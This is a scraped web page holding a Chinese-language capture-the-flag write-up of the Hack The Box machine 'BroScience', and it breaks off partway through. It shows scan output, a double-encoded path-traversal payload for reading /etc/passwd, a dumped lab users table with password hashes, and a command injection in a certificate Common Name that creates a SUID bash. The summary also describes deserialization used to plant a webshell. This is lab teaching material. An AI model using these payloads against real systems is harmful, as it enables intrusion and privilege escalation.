19:I[15621,["/_next/static/immutable/chunks/3gm-8e62xn1qd.js","/_next/static/immutable/chunks/0n2yq6f-f75k2.js"],"ArticleReader"] 1a:Tbda,

$ nmap -p- --min-rate 10000 -T4 -Pn -n --verbose -oA nmap/quick_scan 10.129.228.129
...<SNIP>...
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https
...<SNIP>...

$ nmap -sC -sV -p22,80,443 -vv -oA nmap/specific_ports 10.129.228.129
...<SNIP>...
PORT    STATE SERVICE  REASON         VERSION
22/tcp  open  ssh      syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 df:17:c6:ba:b1:82:22:d9:1d:b5:eb:ff:5d:3d:2c:b7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDB5dEat1MGh3CDDnkl4tdWQcTpdWZYHZj5/Orv3PDjSiQ4dg1i35kknwiZrXLiMsUu/4TigP9Kc3h4M1CS7E3/GprpWxuGmipEucoQuNEtaM0sUa8xobtFxOVF46kS0++ozTd4+zbSLsu73SlLcSuSFalhGnHteHj6/ksSeX642103SMqkkmEu/cbgofkoqQOCYk3Qa42bZq5bjS/auGAlPoAxTjjVtpHnXOKOU7M6gkewD91FB3GAMUdwqR/PJcA5xqGFZm2St9ecSbewCur6pLN5YKnNhvdID4ijWI22gu5pLxHL9XjORMbSUkJbB79VoYJZaNkdOgt+HXR67s9DWI47D6/+pO0dTfQgMFgOCxYheWMDQ2FuyHyGX1CZpMVLAo3sjOvxAqk7eUGutsyBAlYCD4lhSFs6RhSBynahHQah7+Lv5LKRriZe/fQIgrJrQj+tR4Uhz89eWGrXK9bjN22wy7tVkMG/w5dOwo7S3Wi0aTZfd/17D0z7wSdiAiE=
|   256 3f:8a:56:f8:95:8f:ae:af:e3:ae:7e:b8:80:f6:79:d2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCgM9UKdxFmXRJESXdlb+BSl+K1F0YCkOjSa8l+tgD6Y3mslSfrawZkdfq8NKLZlmOe8uf1ykgXjLWVDQ9NrJBk=
|   256 3c:65:75:27:4a:e2:ef:93:91:37:4c:fd:d9:d4:63:41 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMwR+IfRojCwiMuM3tZvdD5JCD2MRVum9frUha60bkN
80/tcp  open  http     syn-ack ttl 63 Apache httpd 2.4.54
|_http-server-header: Apache/2.4.54 (Debian)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to https://broscience.htb/
443/tcp open  ssl/http syn-ack ttl 63 Apache httpd 2.4.54 ((Debian))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT/localityName=Vienna/emailAddress=administrator@broscience.htb
| Issuer: commonName=broscience.htb/organizationName=BroScience/countryName=AT/localityName=Vienna/emailAddress=administrator@broscience.htb
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-07-14T19:48:36
| Not valid after:  2023-07-14T19:48:36
| MD5:     5328 ddd6 2f34 29d1 1d26 ae8a 68d8 6e0c
| SHA-1:   2056 8d0d 9e41 09cd e5a2 2021 fe3f 349c 40d8 d75b
| SHA-256: 06a0 9f14 d1c8 3859 5d46 50c5 7300 95bd 7983 58f2 b66e e43c c9d1 20be dc6e bd5f
| -----BEGIN CERTIFICATE-----
| MIIF0zCCA7ugAwIBAgIUD+qpK08oB9Kng1mp3mIxnO21+s4wDQYJKoZIhvcNAQEL
...<SNIP>...
| bcb0jeUT6YRF6NEmoLu80xyrro+Ejt1fLd3WE6q4+BXvhdj62OPtt5ue2rEhycgc
| dfC1SCd82A==
|_-----END CERTIFICATE-----
|_http-title: BroScience : Home
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.54 (Debian)
| tls-alpn:
|_  http/1.1
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
...<SNIP>...

1b:Tb65,$ nmap -p- --min-rate 10000 -T4 -Pn -n --verbose -oA nmap/quick_scan 10.129.228.129 ...... PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https ...... $ nmap -sC -sV -p22,80,443 -vv -oA nmap/specific_ports 10.129.228.129 ...... PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 df:17:c6:ba:b1:82:22:d9:1d:b5:eb:ff:5d:3d:2c:b7 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDB5dEat1MGh3CDDnkl4tdWQcTpdWZYHZj5/Orv3PDjSiQ4dg1i35kknwiZrXLiMsUu/4TigP9Kc3h4M1CS7E3/GprpWxuGmipEucoQuNEtaM0sUa8xobtFxOVF46kS0++ozTd4+zbSLsu73SlLcSuSFalhGnHteHj6/ksSeX642103SMqkkmEu/cbgofkoqQOCYk3Qa42bZq5bjS/auGAlPoAxTjjVtpHnXOKOU7M6gkewD91FB3GAMUdwqR/PJcA5xqGFZm2St9ecSbewCur6pLN5YKnNhvdID4ijWI22gu5pLxHL9XjORMbSUkJbB79VoYJZaNkdOgt+HXR67s9DWI47D6/+pO0dTfQgMFgOCxYheWMDQ2FuyHyGX1CZpMVLAo3sjOvxAqk7eUGutsyBAlYCD4lhSFs6RhSBynahHQah7+Lv5LKRriZe/fQIgrJrQj+tR4Uhz89eWGrXK9bjN22wy7tVkMG/w5dOwo7S3Wi0aTZfd/17D0z7wSdiAiE= | 256 3f:8a:56:f8:95:8f:ae:af:e3:ae:7e:b8:80:f6:79:d2 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCgM9UKdxFmXRJESXdlb+BSl+K1F0YCkOjSa8l+tgD6Y3mslSfrawZkdfq8NKLZlmOe8uf1ykgXjLWVDQ9NrJBk= | 256 3c:65:75:27:4a:e2:ef:93:91:37:4c:fd:d9:d4:63:41 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMwR+IfRojCwiMuM3tZvdD5JCD2MRVum9frUha60bkN 80/tcp open http syn-ack ttl 63 Apache httpd 2.4.54 |_http-server-header: Apache/2.4.54 (Debian) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Did not follow redirect to https://broscience.htb/ 443/tcp open ssl/http syn-ack ttl 63 Apache httpd 2.4.54 ((Debian)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set | ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT/localityName=Vienna/emailAddress=administrator@broscience.htb | Issuer: commonName=broscience.htb/organizationName=BroScience/countryName=AT/localityName=Vienna/emailAddress=administrator@broscience.htb | Public Key type: rsa | Public Key bits: 4096 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2022-07-14T19:48:36 | Not valid after: 2023-07-14T19:48:36 | MD5: 5328 ddd6 2f34 29d1 1d26 ae8a 68d8 6e0c | SHA-1: 2056 8d0d 9e41 09cd e5a2 2021 fe3f 349c 40d8 d75b | SHA-256: 06a0 9f14 d1c8 3859 5d46 50c5 7300 95bd 7983 58f2 b66e e43c c9d1 20be dc6e bd5f | -----BEGIN CERTIFICATE----- | MIIF0zCCA7ugAwIBAgIUD+qpK08oB9Kng1mp3mIxnO21+s4wDQYJKoZIhvcNAQEL ...... | bcb0jeUT6YRF6NEmoLu80xyrro+Ejt1fLd3WE6q4+BXvhdj62OPtt5ue2rEhycgc | dfC1SCd82A== |_-----END CERTIFICATE----- |_http-title: BroScience : Home | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_ssl-date: TLS randomness does not represent time |_http-server-header: Apache/2.4.54 (Debian) | tls-alpn: |_ http/1.1 Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel ......1c:T91d,

$ ffuf -w /usr/share/SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt -u 'https://broscience.htb/FUZZ' -e .php

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : https://broscience.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt
 :: Extensions       : .php
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

includes                [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 69ms]
images                  [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 120ms]
login.php               [Status: 200, Size: 1936, Words: 567, Lines: 42, Duration: 114ms]
index.php               [Status: 200, Size: 9301, Words: 3953, Lines: 147, Duration: 127ms]
register.php            [Status: 200, Size: 2161, Words: 635, Lines: 45, Duration: 77ms]
user.php                [Status: 200, Size: 1309, Words: 300, Lines: 29, Duration: 98ms]
comment.php             [Status: 302, Size: 13, Words: 3, Lines: 1, Duration: 64ms]
logout.php              [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 93ms]
styles                  [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 68ms]
javascript              [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 83ms]
manual                  [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 71ms]
activate.php            [Status: 200, Size: 1256, Words: 293, Lines: 28, Duration: 66ms]
server-status           [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 83ms]
exercise.php            [Status: 200, Size: 1322, Words: 301, Lines: 28, Duration: 78ms]
update_user.php         [Status: 302, Size: 13, Words: 3, Lines: 1, Duration: 65ms]
...<SNIP>...
:: Progress: [112586/112586] :: Job [1/1] :: 454 req/sec :: Duration: [0:03:30] :: Errors: 0 ::

1d:T794,$ ffuf -w /usr/share/SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt -u 'https://broscience.htb/FUZZ' -e .php /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : https://broscience.htb/FUZZ :: Wordlist : FUZZ: /usr/share/SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt :: Extensions : .php :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 ________________________________________________ includes [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 69ms] images [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 120ms] login.php [Status: 200, Size: 1936, Words: 567, Lines: 42, Duration: 114ms] index.php [Status: 200, Size: 9301, Words: 3953, Lines: 147, Duration: 127ms] register.php [Status: 200, Size: 2161, Words: 635, Lines: 45, Duration: 77ms] user.php [Status: 200, Size: 1309, Words: 300, Lines: 29, Duration: 98ms] comment.php [Status: 302, Size: 13, Words: 3, Lines: 1, Duration: 64ms] logout.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 93ms] styles [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 68ms] javascript [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 83ms] manual [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 71ms] activate.php [Status: 200, Size: 1256, Words: 293, Lines: 28, Duration: 66ms] server-status [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 83ms] exercise.php [Status: 200, Size: 1322, Words: 301, Lines: 28, Duration: 78ms] update_user.php [Status: 302, Size: 13, Words: 3, Lines: 1, Duration: 65ms] ...... :: Progress: [112586/112586] :: Job [1/1] :: 454 req/sec :: Duration: [0:03:30] :: Errors: 0 ::1e:T523,

broscience=> SELECT * FROM users;
 id |   username    |             password             |            email             |         activation_code          | is_activated | is_admin |         date_created
----+---------------+----------------------------------+------------------------------+----------------------------------+--------------+----------+-------------------------------
  1 | administrator | 15657792073e8a843d4f91fc403454e1 | administrator@broscience.htb | OjYUyL9R4NpM9LOFP0T4Q4NUQ9PNpLHf | t            | t        | 2019-03-07 02:02:22.226763-05
  2 | bill          | 13edad4932da9dbb57d9cd15b66ed104 | bill@broscience.htb          | WLHPyj7NDRx10BYHRJPPgnRAYlMPTkp4 | t            | f        | 2019-05-07 03:34:44.127644-04
  3 | michael       | bd3dad50e2d578ecba87d5fa15ca5f85 | michael@broscience.htb       | zgXkcmKip9J5MwJjt8SZt5datKVri9n3 | t            | f        | 2020-10-01 04:12:34.732872-04
  4 | john          | a7eed23a7be6fe0d765197b1027453fe | john@broscience.htb          | oGKsaSbjocXb3jwmnx5CmQLEjwZwESt6 | t            | f        | 2021-09-21 11:45:53.118482-04
  5 | dmytro        | 5d15340bded5b9395d5d14b9c21bc82b | dmytro@broscience.htb        | 43p9iHX6cWjr9YhaUNtWxEBNtpneNMYm | t            | f        | 2021-08-13 10:34:36.226763-04
(5 rows)

也可以用互動式輸入，就不用反斜線了：

bill@broscience:~$ openssl req -x509 -newkey rsa:2048 -nodes -out /home/bill/Certs/broscience.crt
Generating a RSA private key
...................+++++
...........................................................................................................+++++
writing new private key to 'privkey.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:$(cp /bin/bash /tmp/abb; chmod 4777 /tmp/abb)
Email Address []:

11:["$","main",null,{"className":"reader-page","children":[["$","div",null,{"className":"reader-kicker","children":[["$","$L10",null,{"href":"/sources/8493b38312725c73","children":[["$","svg",null,{"ref":"$undefined","xmlns":"http://www.w3.org/2000/svg","width":16,"height":16,"viewBox":"0 0 24 24","fill":"none","stroke":"currentColor","strokeWidth":2,"strokeLinecap":"round","strokeLinejoin":"round","className":"lucide lucide-arrow-left","children":[["$","path","1l729n",{"d":"m12 19-7-7 7-7"}],["$","path","x3x0zl",{"d":"M19 12H5"}],"$undefined"]}]," 返回 ","ABB00717"]}],["$","span",null,{"children":"观点博客"}]]}],["$","header",null,{"className":"article-meta","children":[["$","span",null,{"children":["FROM · ","ABB00717"]}],["$","div",null,{"children":[["$","svg",null,{"ref":"$undefined","xmlns":"http://www.w3.org/2000/svg","width":15,"height":15,"viewBox":"0 0 24 24","fill":"none","stroke":"currentColor","strokeWidth":2,"strokeLinecap":"round","strokeLinejoin":"round","className":"lucide lucide-calendar-days","children":[["$","path","1cmpym",{"d":"M8 2v4"}],["$","path","4m81vk",{"d":"M16 2v4"}],["$","rect","1hopcy",{"width":"18","height":"18","x":"3","y":"4","rx":"2"}],["$","path","8toen8",{"d":"M3 10h18"}],["$","path","6423bh",{"d":"M8 14h.01"}],["$","path","1etili",{"d":"M12 14h.01"}],["$","path","1gbofw",{"d":"M16 14h.01"}],["$","path","lrp35t",{"d":"M8 18h.01"}],["$","path","mhygvu",{"d":"M12 18h.01"}],["$","path","kzsmim",{"d":"M16 18h.01"}],"$undefined"]}]," ","2026年9月2日",null]}]]}],["$","$L19",null,{"article":{"title":"HTB - BroScience","byline":null,"publishedAt":"2026-09-02T10:22:00.000Z","language":"en","blocks":[{"id":"b0","type":"heading","html":"

靶機簡介

","text":"靶機簡介"},{"id":"b1","type":"paragraph","html":"

在 BroScience 網站中，我們發現 includes/img.php 的 path 參數存在路徑穿越。它的過濾器只擋 ../ 與敏感檔名，改用雙重 URL 編碼（..%252f）就能繞過，並讀取整站原始碼。原始碼中的 generate_activation_code() 每次呼叫都以 srand(time()) 重設亂數種子，啟用碼因此能從註冊當下的秒數推算，我們據此暴力嘗試啟用連結，啟用自己註冊的帳號。而 get_theme() 會無條件 unserialize user-prefs cookie，該路徑只在登入狀態下才走得到，所以啟用帳號正是進到反序列化的前提。配合 AvatarInterface::__wakeup 這個會寫檔的 gadget，我們寫入 webshell 取得 www-data 的 shell。

","text":"在 BroScience 網站中，我們發現 includes/img.php 的 path 參數存在路徑穿越。它的過濾器只擋 ../ 與敏感檔名，改用雙重 URL 編碼（..%252f）就能繞過，並讀取整站原始碼。原始碼中的 generate_activation_code() 每次呼叫都以 srand(time()) 重設亂數種子，啟用碼因此能從註冊當下的秒數推算，我們據此暴力嘗試啟用連結，啟用自己註冊的帳號。而 get_theme() 會無條件 unserialize user-prefs cookie，該路徑只在登入狀態下才走得到，所以啟用帳號正是進到反序列化的前提。配合 AvatarInterface::__wakeup 這個會寫檔的 gadget，我們寫入 webshell 取得 www-data 的 shell。"},{"id":"b2","type":"paragraph","html":"

原始碼中的 db_connect.php 帶有 PostgreSQL 憑證，登入後撈出 md5($salt.$pass) 形式的密碼雜湊，破解出 bill 的密碼並以 SSH 登入。最後發現 root 的 cron 會執行 /opt/renew_cert.sh，該腳本把憑證中未經過濾的 CN 字串直接丟進 bash -c，我們藉此注入指令做出 SUID bash，提權至 root。

","text":"原始碼中的 db_connect.php 帶有 PostgreSQL 憑證，登入後撈出 md5($salt.$pass) 形式的密碼雜湊，破解出 bill 的密碼並以 SSH 登入。最後發現 root 的 cron 會執行 /opt/renew_cert.sh，該腳本把憑證中未經過濾的 CN 字串直接丟進 bash -c，我們藉此注入指令做出 SUID bash，提權至 root。"},{"id":"b3","type":"heading","html":"

Academy x HTB Labs

","text":"Academy x HTB Labs"},{"id":"b5","type":"heading","html":"

Box Info

","text":"Box Info"},{"id":"b7","type":"heading","html":"

Recon

","text":"Recon"},{"id":"b8","type":"paragraph","html":"

首先一定是 nmap 伺候：

","text":"首先一定是 nmap 伺候："},{"id":"b9","type":"paragraph","html":"$1a","text":"$1b"},{"id":"b10","type":"list","html":"

只有 HTTP(80)、HTTPS(443) 和 SSH(22)
Service Info 顯示是個 Linux server

","text":"只有 HTTP(80)、HTTPS(443) 和 SSH(22) Service Info 顯示是個 Linux server"},{"id":"b11","type":"paragraph","html":"

直接逛網站，先編輯 /etc/hosts：

","text":"直接逛網站，先編輯 /etc/hosts："},{"id":"b12","type":"paragraph","html":"

10.129.228.129    broscience.htb\n

","text":"10.129.228.129 broscience.htb"},{"id":"b13","type":"heading","html":"

逛網站

","text":"逛網站"},{"id":"b14","type":"paragraph","html":"

看起來是個讓健人分享健身技巧的網站：

","text":"看起來是個讓健人分享健身技巧的網站："},{"id":"b16","type":"paragraph","html":"

點進去就是心得文章該有的樣子，有貼文和留言區：

","text":"點進去就是心得文章該有的樣子，有貼文和留言區："},{"id":"b18","type":"paragraph","html":"

點擊 john 可以看到他的個人首頁：

","text":"點擊 john 可以看到他的個人首頁："},{"id":"b20","type":"paragraph","html":"

若嘗試發布留言會直接跳到登入畫面：

","text":"若嘗試發布留言會直接跳到登入畫面："},{"id":"b22","type":"paragraph","html":"

點 Create an account 並註冊：

","text":"點 Create an account 並註冊："},{"id":"b24","type":"paragraph","html":"

點擊 REGISTER 後會顯示 activation link 已傳送至電子信箱：

","text":"點擊 REGISTER 後會顯示 activation link 已傳送至電子信箱："},{"id":"b26","type":"paragraph","html":"

然而我們什麼都沒收到：

","text":"然而我們什麼都沒收到："},{"id":"b28","type":"paragraph","html":"

嘗試登入會顯示：

","text":"嘗試登入會顯示："},{"id":"b30","type":"heading","html":"

搜查更多資訊

","text":"搜查更多資訊"},{"id":"b31","type":"paragraph","html":"

網站逛得差不多了，來看點其他東西。從 Wappalyzer 看到這是 PHP Server：

","text":"網站逛得差不多了，來看點其他東西。從 Wappalyzer 看到這是 PHP Server："},{"id":"b33","type":"paragraph","html":"

Burp Suite 的 Site Map 列出我們剛剛做過的事情：

","text":"Burp Suite 的 Site Map 列出我們剛剛做過的事情："},{"id":"b35","type":"paragraph","html":"

其中大概就 img.php 比較奇怪，就算我直接去圖片的網址它依然不會顯示在 HTTP History 裡，總之完整 URL 範例為 https://broscience.htb/includes/img.php?path=barbell_squats.jpeg：

","text":"其中大概就 img.php 比較奇怪，就算我直接去圖片的網址它依然不會顯示在 HTTP History 裡，總之完整 URL 範例為 https://broscience.htb/includes/img.php?path=barbell_squats.jpeg："},{"id":"b37","type":"paragraph","html":"

簡單枚舉了目錄，除了 activate.php 和 update_user.php 以外沒什麼特別的：

","text":"簡單枚舉了目錄，除了 activate.php 和 update_user.php 以外沒什麼特別的："},{"id":"b38","type":"paragraph","html":"$1c","text":"$1d"},{"id":"b39","type":"paragraph","html":"

有的地方也是 Forbidden：

","text":"有的地方也是 Forbidden："},{"id":"b41","type":"heading","html":"

枚舉使用者

","text":"枚舉使用者"},{"id":"b42","type":"paragraph","html":"

枚舉看看有沒有隱藏使用者，但從結果來看大概率沒有：

","text":"枚舉看看有沒有隱藏使用者，但從結果來看大概率沒有："},{"id":"b43","type":"paragraph","html":"

$ seq 0 9999 > nums.txt\n\n$ ffuf -w nums.txt -request user_req.txt -request-proto https -fs 1313 -s\n0\n2\n4\n3\n5\n6\n1\n

","text":"$$ seq 0 9999 > nums.txt $ ffuf -w nums.txt -request user_req.txt -request-proto https -fs 1313 -s 0 2 4 3 5 6 1"},{"id":"b44","type":"paragraph","html":"

/user?id=6 就是我們剛剛註冊的帳號，IS ACTIVATED 顯示 No，而其他帳號都是 Yes：

","text":"/user?id=6 就是我們剛剛註冊的帳號，IS ACTIVATED 顯示 No，而其他帳號都是 Yes："},{"id":"b46","type":"paragraph","html":"

其中 /user?id=1 是管理員帳號：

","text":"其中 /user?id=1 是管理員帳號："},{"id":"b48","type":"heading","html":"

測試 `id` 的 LFI

","text":"測試 id 的 LFI"},{"id":"b49","type":"paragraph","html":"

手動測試了基本的 LFI，發現「任何非數值」的 id 都會回傳 Invalid ID value，大概是不會有 LFI 了。下圖以 user.php?id=a 為例：

","text":"手動測試了基本的 LFI，發現「任何非數值」的 id 都會回傳 Invalid ID value，大概是不會有 LFI 了。下圖以 user.php?id=a 為例："},{"id":"b51","type":"heading","html":"

測試 `img.php` 的 LFI

","text":"測試 img.php 的 LFI"},{"id":"b52","type":"paragraph","html":"

圖片的感覺比較有希望：

","text":"圖片的感覺比較有希望："},{"id":"b54","type":"paragraph","html":"

簡單試了 LFI：

","text":"簡單試了 LFI："},{"id":"b56","type":"paragraph","html":"

經過一番手動測試，推測規則為「若偵測到 ../ 或敏感檔案則為攻擊」。../ 的理由如下，同樣的檔案，./ 沒問題，但 ../ 就被擋掉：

","text":"經過一番手動測試，推測規則為「若偵測到 ../ 或敏感檔案則為攻擊」。../ 的理由如下，同樣的檔案，./ 沒問題，但 ../ 就被擋掉："},{"id":"b59","type":"paragraph","html":"

而敏感檔案的理由如下，若為 passwd 則會被擋掉，但若改成 hosts 則會通過：

","text":"而敏感檔案的理由如下，若為 passwd 則會被擋掉，但若改成 hosts 則會通過："},{"id":"b62","type":"paragraph","html":"

看辭典內有無方法可繞過：

","text":"看辭典內有無方法可繞過："},{"id":"b63","type":"paragraph","html":"

$ ffuf -w /usr/share/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt -request image_request.txt -request-proto https -ac -fr 'Attack detected' -s\n\n$\n

","text":"$$ ffuf -w /usr/share/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt -request image_request.txt -request-proto https -ac -fr 'Attack detected' -s $"},{"id":"b64","type":"paragraph","html":"

用 LFI-Jhaddix.txt 和 Security-Wordlist/LFI-WordList-Linux 都無法繞過，掃描參數也只有已知的 path：

","text":"用 LFI-Jhaddix.txt 和 Security-Wordlist/LFI-WordList-Linux 都無法繞過，掃描參數也只有已知的 path："},{"id":"b65","type":"paragraph","html":"

$ ffuf -w /usr/share/SecLists/Discovery/Web-Content/burp-parameter-names.txt -u 'https://broscience.htb/includes/img.php?FUZZ=value' -fs 39 -s\npath\n

","text":"$$ ffuf -w /usr/share/SecLists/Discovery/Web-Content/burp-parameter-names.txt -u 'https://broscience.htb/includes/img.php?FUZZ=value' -fs 39 -s path"},{"id":"b66","type":"paragraph","html":"

過程中我也有試 PHP Filters 和 PHP Wrappers，但沒什麼發現。最後是測試雙重編碼才找到的：

","text":"過程中我也有試 PHP Filters 和 PHP Wrappers，但沒什麼發現。最後是測試雙重編碼才找到的："},{"id":"b67","type":"quote","html":"

\n\n \n

原以為上述辭典會涵蓋基本的雙重編碼，所以一直沒試，到最後沒希望才從頭亂試，沒想到就過了。結束後上網查別人 writeup 才發現用 dotdotpwn.txt 就過了：

\n \n \n\n

$ ffuf -w ~/Tools/PayloadsAllTheThings/Directory\\ Traversal/Intruder/dotdotpwn.txt -request image_request.txt -request-proto https -ac -fr 'Attack detected'\n...<SNIP>...\n..%252f..%252f..%252f..%252fetc%252fpasswd [Status: 200, Size: 2235, Words: 26, Lines: 40, Duration: 64ms]\n..%252f..%252f..%252f..%252fetc%252fissue [Status: 200, Size: 27, Words: 5, Lines: 3, Duration: 73ms]\n..%252f..%252f..%252f..%252f..%252fetc%252fissue [Status: 200, Size: 27, Words: 5, Lines: 3, Duration: 79ms]\n..%252f..%252f..%252f..%252f..%252fetc%252fpasswd [Status: 200, Size: 2235, Words: 26, Lines: 40, Duration: 79ms]\n[WARN] Caught keyboard interrupt (Ctrl-C)\n

\n\n

","text":"原以為上述辭典會涵蓋基本的雙重編碼，所以一直沒試，到最後沒希望才從頭亂試，沒想到就過了。結束後上網查別人 writeup 才發現用 dotdotpwn.txt 就過了： $ ffuf -w ~/Tools/PayloadsAllTheThings/Directory\\ Traversal/Intruder/dotdotpwn.txt -request image_request.txt -request-proto https -ac -fr 'Attack detected' ...... ..%252f..%252f..%252f..%252fetc%252fpasswd [Status: 200, Size: 2235, Words: 26, Lines: 40, Duration: 64ms] ..%252f..%252f..%252f..%252fetc%252fissue [Status: 200, Size: 27, Words: 5, Lines: 3, Duration: 73ms] ..%252f..%252f..%252f..%252f..%252fetc%252fissue [Status: 200, Size: 27, Words: 5, Lines: 3, Duration: 79ms] ..%252f..%252f..%252f..%252f..%252fetc%252fpasswd [Status: 200, Size: 2235, Words: 26, Lines: 40, Duration: 79ms] [WARN] Caught keyboard interrupt (Ctrl-C)"},{"id":"b69","type":"paragraph","html":"

可以看到 img.php 和我們猜測的一致，只是敏感資料還多了 .ssh。

","text":"可以看到 img.php 和我們猜測的一致，只是敏感資料還多了 .ssh。"},{"id":"b70","type":"heading","html":"

Shell as Bill

","text":"Shell as Bill"},{"id":"b71","type":"paragraph","html":"

不斷透過 LFI 拿檔案，最後拿到了這些：

","text":"不斷透過 LFI 拿檔案，最後拿到了這些："},{"id":"b72","type":"paragraph","html":"

$ tree source/\nsource/\n├── activate.php\n├── comment.php\n├── exercise.php\n├── includes\n│   ├── db_connect.php\n│   ├── header.php\n│   ├── img.php\n│   ├── navbar.php\n│   └── utils.php\n├── index.php\n├── login.php\n├── register.php\n└── user.php\n

","text":"$$ tree source/ source/ ├── activate.php ├── comment.php ├── exercise.php ├── includes │ ├── db_connect.php │ ├── header.php │ ├── img.php │ ├── navbar.php │ └── utils.php ├── index.php ├── login.php ├── register.php └── user.php"},{"id":"b73","type":"paragraph","html":"

首先當然看 db_connect.php，裡面已經有資料庫密碼和密碼雜湊用的鹽（salt）了，還真是 NaCl xD：

","text":"首先當然看 db_connect.php，裡面已經有資料庫密碼和密碼雜湊用的鹽（salt）了，還真是 NaCl xD："},{"id":"b74","type":"paragraph","html":"

<?php\n$db_host = \"localhost\";\n$db_port = \"5432\";\n$db_name = \"broscience\";\n$db_user = \"dbuser\";\n$db_pass = \"RangeOfMotion%777\";\n$db_salt = \"NaCl\";\n\n$db_conn = pg_connect(\"host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}\");\n\nif (!$db_conn) {\n    die(\"<b>Error</b>: Unable to connect to database\");\n}\n?>\n

","text":"Error: Unable to connect to database\"); } ?>"},{"id":"b75","type":"heading","html":"

Activation Code

","text":"Activation Code"},{"id":"b76","type":"paragraph","html":"

接著我們看看啟用碼相關的程式碼，看能不能自己組出啟用連結，最關鍵的就是 utils.php 中的 generate_activation_code：

","text":"接著我們看看啟用碼相關的程式碼，看能不能自己組出啟用連結，最關鍵的就是 utils.php 中的 generate_activation_code："},{"id":"b77","type":"paragraph","html":"

<?php\nfunction generate_activation_code() {\n    $chars = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\";\n    srand(time());\n    $activation_code = \"\";\n    for ($i = 0; $i < 32; $i++) {\n        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];\n    }\n    return $activation_code;\n}

","text":"雖然用上了 rand()，但這個 time() 是以秒為單位的，並且每呼叫一次 generate_activation_code 都會重新呼叫一次 srand(time())：

","text":"雖然用上了 rand()，但這個 time() 是以秒為單位的，並且每呼叫一次 generate_activation_code 都會重新呼叫一次 srand(time())："},{"id":"b79","type":"paragraph","html":"

